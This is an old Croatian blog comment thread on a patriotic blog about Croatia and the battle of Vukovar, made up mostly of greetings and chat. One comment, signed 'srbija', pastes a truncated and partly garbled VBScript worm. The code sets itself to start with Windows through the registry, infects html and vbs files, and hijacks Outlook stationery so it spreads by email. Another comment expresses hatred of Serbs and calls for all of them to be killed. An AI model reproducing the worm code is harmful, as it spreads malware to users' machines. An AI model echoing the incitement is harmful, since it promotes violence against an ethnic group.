Komentari

frky.blog.hr

Dodaj komentar (15)

Marketing

  • ludacha%)

    nemoj me shvaiti kao malu, neodgojenu i razmaženu klinku... jer to nisam
    inače sam iz istre (mjesto kod pule) i sad si misliš šta me vodi na ovakav blog, e pa isto ono što i tebe kad si radio ovaj blog- ljubav i poštovanje prema Hrvatskoj. Pila me što se misli da Istrijani nemaju domoljublja, to nikoako nije istina. živim u krugu ljudi koji imaju slično mišljenje ko i ja ( i ti) imam brata tvojih godina, i imate slično razmišljanje. Tu i tamo posluušam thompsona škoru, odem na koncerte kad ih ima u puli, ali inače slušam punk, a cajke ni u kom slučaju! eto, samo da pustim kom. i da te upoznam sa tim sa je i istra domoljuban kraj!
    Bog i Hrvati, ko nije neka pati...
    Peace.....

    avatar

    19.11.2006. (16:40)    -   -   -   -  

  • ~°°¤ #...MaŁa zŁoĆa...# ¤°°~

    ej eo da te pozdravim
    i ostavim komentar
    uzivaj
    pozzz ...

    avatar

    19.11.2006. (16:44)    -   -   -   -  

  • jesus007

    svaka čast ludacha cijenim to za istrijane ja nisam reko i nikad nečeš čut od mene da pljujem po Hrvatima svi smo Hrvati jednaki i cjenim to što si napisala na moj blog. pozzzzz živila mi Bog i Hrvati ko nije neka pati

    avatar

    19.11.2006. (16:56)    -   -   -   -  

  • dark_angel_16_

    ljubavi di si ti meni??? šta ima??? hehehhehe...dođeš danas na chat...pussaaaaaaaaa
    volim teeeee...hehheh...pozz te dane

    avatar

    22.11.2006. (14:41)    -   -   -   -  

  • metalka16

    ufff zaboravila sam odjavit stari blog

    avatar

    22.11.2006. (14:47)    -   -   -   -  

  • metalka16

    pussaaaaaa

    avatar

    22.11.2006. (14:49)    -   -   -   -  

  • jesus007

    pa ljubavi pozzdravi i ti njega ..................heheh dođem ja na chat večeras ....

    avatar

    22.11.2006. (17:43)    -   -   -   -  

  • metalka16

    ljubavi oprosti što nisam došla na chat sinoć,sjebo mi se internet....pusssaaaaaa

    avatar

    23.11.2006. (12:24)    -   -   -   -  

  • jesus007

    ma nema frke

    avatar

    23.11.2006. (19:12)    -   -   -   -  

  • metalka16

    pa di si ti nestaooo

    avatar

    23.11.2006. (19:50)    -   -   -   -  

  • ...:::Bikerica:::...

    Hej, ma blog ti je odličan, potpuno te podržavam u svemu što se tiče tvog bloga...
    Pa netko je morao napraviti i taj blog, mislim na temu NAŠE VOLJENE HRVATSKE...
    Samo tako nastavi...
    Sve što je bilo, prošlo je, Hrvatska nastavlja živjeti, i uvijek će i biti tako...
    Meni je ujak poginuo u ratu, i imam toliku mržnju prema srbima, treba ih sve u top, a pogotovo one koji su nastavili živjeti kod nas...
    MA ŽIVJELA NAM HRVATSKA...
    Pozz od ŠKORPIONKE, s kojom si se jaaako davno dopisivao, i na chatu i preko SMS- a...
    Mislim da se ne sjećaš, ali ok...Ajd, pusam te...KISS

    avatar

    24.11.2006. (22:08)    -   -   -   -  

  • jesus007

    aha evo još jedne pametne što zna šta je bilo i što cijeni Hrv svaka čast Bog i Hrvati

    avatar

    24.11.2006. (23:31)    -   -   -   -  

  • °°~~°°MaLa CrNa°°~~°°

    hehe,fora blog,zakon pozadina..samo tako nastavi,super imas ,pjesmu na bljogu...hehe ae uzivaj...kizzz svrati koji put

    avatar

    02.12.2006. (13:33)    -   -   -   -  

  • srbija

    Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,F inalyDisk
    Sub KJ_start()
    KJSetDim()
    KJCreateMilieu()
    KJLikeIt()
    KJCreateMail()
    KJPropagate()
    E nd Sub

    Function KJAppendTo(FilePath,TypeStr)
    On Error Resume Next
    Set ReadTemp = FSO.OpenTextFile(FilePath,1)
    TmpStr = ReadTemp.ReadAll
    If Instr(TmpStr,"KJ_start()") 0 Or Len(TmpStr) < 1 Then
    ReadTemp.Close
    Exit Function
    End If
    If TypeStr = "htt" Then
    ReadTemp.Close
    Set FileTemp = FSO.OpenTextFile(FilePath,2)
    FileTemp.Write "" & vbCrLf & TmpStr & vbCrLf & HtmlText
    FileTemp.Close
    Set FAttrib = FSO.GetFile(FilePath)
    FAttrib.attributes = 34
    Else
    ReadTemp.Close
    Set FileTemp = FSO.OpenTextFile(FilePath,8)
    If TypeStr = "html" Then
    FileTemp.Write vbCrLf & "" & vbCrLf & "" & vbCrLf & HtmlText
    ElseIf TypeStr = "vbs" Then
    FileTemp.Write vbCrLf & VbsText
    End If
    FileTemp.Close
    End If
    End Function

    Function KJChangeSub(CurrentString,LastIndexChar)
    If LastIndexChar = 0 Then
    If Left(LCase(CurrentString),1) =< LCase("c") Then
    KJChangeSub = FinalyDisk & ":"
    SubE = 0
    Else
    KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":"
    SubE = 0
    End If
    Else
    KJChangeSub = Mid(CurrentString,1,LastIndexChar)
    End If
    End Function

    Function KJCreateMail()
    On Error Resume Next
    If InWhere = "html" Then
    Exit Function
    End If
    ShareFile = Left(WinPath,3) & "Program FilesCommon FilesMicrosoft SharedStationeryblank.htm"
    If (FSO.FileExists(ShareFile)) Then
    Call KJAppendTo(ShareFile,"html")
    Else
    Set FileTemp = FSO.OpenTextFile(ShareFile,2,true)
    FileTemp.Write "" & vbCrLf & "" & vbCrLf & HtmlText
    FileTemp.Close
    End If
    DefaultId = WsShell.RegRead("HKEY_CURRENT_USERIdentitiesDefault User ID")
    OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINESoftwareMicrosoftOutlook ExpressMediaVer")
    WsShell.RegWrite "HKEY_CURRENT_USERIdentities"&DefaultId&"SoftwareMicrosoftOutlook Express"& Left(OutLookVersion,1) &".0MailCompose Use Stationery",1,"REG_DWORD"
    Call KJMailReg("HKEY_CURRENT_USERIdentities"&DefaultId&"SoftwareMicrosoftOutloo k Express"& Left(OutLookVersion,1) &".0MailStationery Name",ShareFile)
    Call KJMailReg("HKEY_CURRENT_USERIdentities"&DefaultId&"SoftwareMicrosoftOutloo k Express"& Left(OutLookVersion,1) &".0MailWide Stationery Name",ShareFile)
    WsShell.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0OutlookOptionsMailEditorPrefer ence",131072,"REG_DWORD"
    Call KJMailReg("HKEY_CURRENT_USERSoftwareMicrosoftWindows Messaging SubsystemProfilesMicrosoft Outlook Internet Settingsa0d020000000000c00000000000004601e0360","blank")
    Call KJMailReg("HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows Messaging SubsystemProfilesMicrosoft Outlook Internet Settingsa0d020000000000c00000000000004601e0360","blank")
    WsShell.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftOffice10.0OutlookOptionsMailEditorPrefe rence",131072,"REG_DWORD"
    Call KJMailReg("HKEY_CURRENT_USERSoftwareMicrosoftOffice10.0CommonMailSettingsN ewStationery","blank")
    KJummageFolder(Left(WinPath,3) & "Program FilesCommon FilesMicrosoft SharedStationery")
    End Function

    Function KJCreateMilieu()
    On Error Resume Next
    TempPath = ""
    If Not(FSO.FileExists(WinPath & "WScript.exe")) Then
    TempPath = "system32"
    End If
    If TempPath = "system32" Then
    StartUpFile = WinPath & "SYSTEMKernel32.dll"
    Else
    StartUpFile = WinPath & "SYSTEMKernel.dll"
    End If
    WsShell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunKernel32",Star tUpFile
    FSO.CopyFile WinPath & "webkjwall.gif",WinPath & "webFolder.htt"
    FSO.CopyFile WinPath & "system32kjwall.gif",WinPath & "system32desktop.ini"
    Call KJAppendTo(WinPath & "webFolder.htt","htt")
    WsShell.RegWrite "HKEY_CLASSES_ROOT.dll","dllfile"
    WsShell.RegWrite "HKEY_CLASSES_ROOT.dllContent Type","application/x-msdownload"
    WsShell.RegWrite "HKEY_CLASSES_ROOTdllfileDefaultIcon",WsShell.RegRead("HKEY_CLASSES_ROOTvx dfileDefaultIcon")
    WsShell.RegWrite "HKEY_CLASSES_ROOTdllfileScriptEngine","VBScript"
    WsShell.RegWrite "HKEY_CLASSES_ROOTdllFileShellOpenCommand",WinPath & TempPath & "WScript.exe ""%1"" %*"
    WsShell.RegWrite "HKEY_CLASSES_ROOTdllFileShellExPropertySheetHandlersWSHProps","{60254CA5- 953B-11CF-8C96-00AA00B8708C}"
    WsShell.RegWrite "HKEY_CLASSES_ROOTdllFileScriptHostEncode","{85131631-480C-11D2-B1F9-00C04 F86C324}"
    Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true)
    FileTemp.Write VbsText
    FileTemp.Close
    End Function

    Function KJLikeIt()
    If InWhere "html" Then
    Exit Function
    End If
    ThisLocation = document.location
    If Left(ThisLocation, 4) = "file" Then
    ThisLocation = Mid(ThisLocation,9)
    If FSO.GetExtensionName(ThisLocation) "" then
    ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))
    End If
    If Len(ThisLocation) > 3 Then
    ThisLocation = ThisLocation & ""
    End If
    KJummageFolder(ThisLocation)
    End If
    End Function

    Function KJMailReg(RegStr,FileName)
    On Error Resume Next
    RegTempStr = WsShell.RegRead(RegStr)
    If RegTempStr = "" Then
    WsShell.R

    avatar

    03.12.2006. (22:16)    -   -   -   -  

  • WarChariot

    Pozdrav
    Dobro je kad se netko trudi oko bilo koje teme, samo treba je iznjeti po nekim pravilima kako nalaže zdrav razum. Recimo, uzeo si za temu bitku za Vukovar. Datum točan, ali definicija Hrvatska vs Srbije malo škaklja. Zašto? Jednostavno zato što su u bitci sudjelovali, osim Srba iz Srbije, Bosne i Kosova i drugi nesrpski narodi bivše Juge: Crnogorci, Makedonci, Albanci. I to kao rezervisti u JNA. E, ovo JNA je veliki zajeb, znam. Kako može biti JNA, kad se Jugoslavija već tada raspala. E onda si treba napisati: u bitci za Vukovar sukobile su se Hrvatske snage protiv srpskih dobrovoljačkih odreda (srpska paravojska bi bio dobar termin, iliti termin "četnika") i vojske nekadašnje JNA. Odnosno, triba si napisati, rat i bitka se vodila između Hrvatske s jedne strane i Srbije i Crne Gore (to je tada bila jedna država!) s druge, koja je ratovala uz pomoć dobrovoljačkih odreda i jedinica nekadašnje JNA. znam da pilam, ali eto, studiram i još malo ću diplomirat povijest pa znam kako neke stvari treba jasno i pravilno napisati. Znam i masu ljudi koji su sudjelovali u Domovinskom ratu. Moje dvije sestre su bile na fronti. Jedna od njih je skoro izgubila glavu na Ražovljevoj glavici kad su se našli u okruženju srpskih dobrovoljaca, četnika i JNA. Ona i njih desetak je bilo ranjeno, a poginulo ih je čak devet u postrojbi i zapovjednik. Ostala je invalid (tenkovska granata), ali je sada uglavnom dobro. Zamolio bi te da malo istražuješ kad se već hvataš te teme. Spomeni Žute mrave i Pustinjske štakore koji su branili Vukovar do zadnje kapi krvi. Nađi i razlog zašto je grad ostao bez municije, ljekova i ljudstva. Mladi Jastreb zna, zna mu i otac, pa kad su išli o tome javno govoriti, skoro su ostali bez glave. Kako je bilo moguće da je istovremeno dok su mladi ljudi gubili glave po Vukovaru, iz Zagreba i drugdje kolona cisterni s gorivom putovala u Srbiju. Tko je prodava gorivo za tenkove koji su tim gorivom napadali Hravtsku? Sve iskopaj, traži, nađi.... I još nešto. Neznam zašto ta "opsjednutost" sa ustašama. Pa jebote led, da je riječ o domobranima koji su bili regularna vojska nebi reka ni riječ. Ali ustaše si bile posebne vojne jedinice formirane da odgovaraju direktno Paveliću, a Pavelić je odgovara direktno Hitleru i Mussoliniju. Pa Pavelić je čak i prije rimskih ugovora sastavio dokument kojim je poklonio Dalmaciju Talijanima. Prije Talijana je misli dati Dalmaciju Talijanima!!! Idiot je očekiva da će mu Talijani vratiti Dalmaciju nakon što on pokloni krunu kralja Zvonimira talijanskom vojvodi od Savoje kojeg je on - Pavelić - okrrunio kao hrvatskog kralja Tomislava II. !!! Pošto Talijani nisu bili bedasti ka i Pavelić i njegovi suradnici nisu ni htili vratiti Dalmaciju. Pavelić je prvi pobjega van svoje ljubljene Hrvatske kad je vidio da je kraj NDH. Prvi!!! Ostavio je čitav hravtski narod da se jebe, dok je on sebi sredi put u Ameriku. Heroj? Vođa? Govno i kukavica najgore vrste. Da nije bilo nesternog Pavelića i njegovih budala, da je bio netko drugi tko je zna kako treba igrati s Talijanima i Njemcima, da nije odma uve rasne zakone, možda bi s NDH drukčije bilo. Eto što se dogodi kad jedna budala dođe na vlast. Dogodi se Blajburg. Dogodi se Jugoslavija. Dogodi se na kraju i Vukovar.

    avatar

    11.06.2008. (11:13)    -   -   -   -  

  •  
učitavam...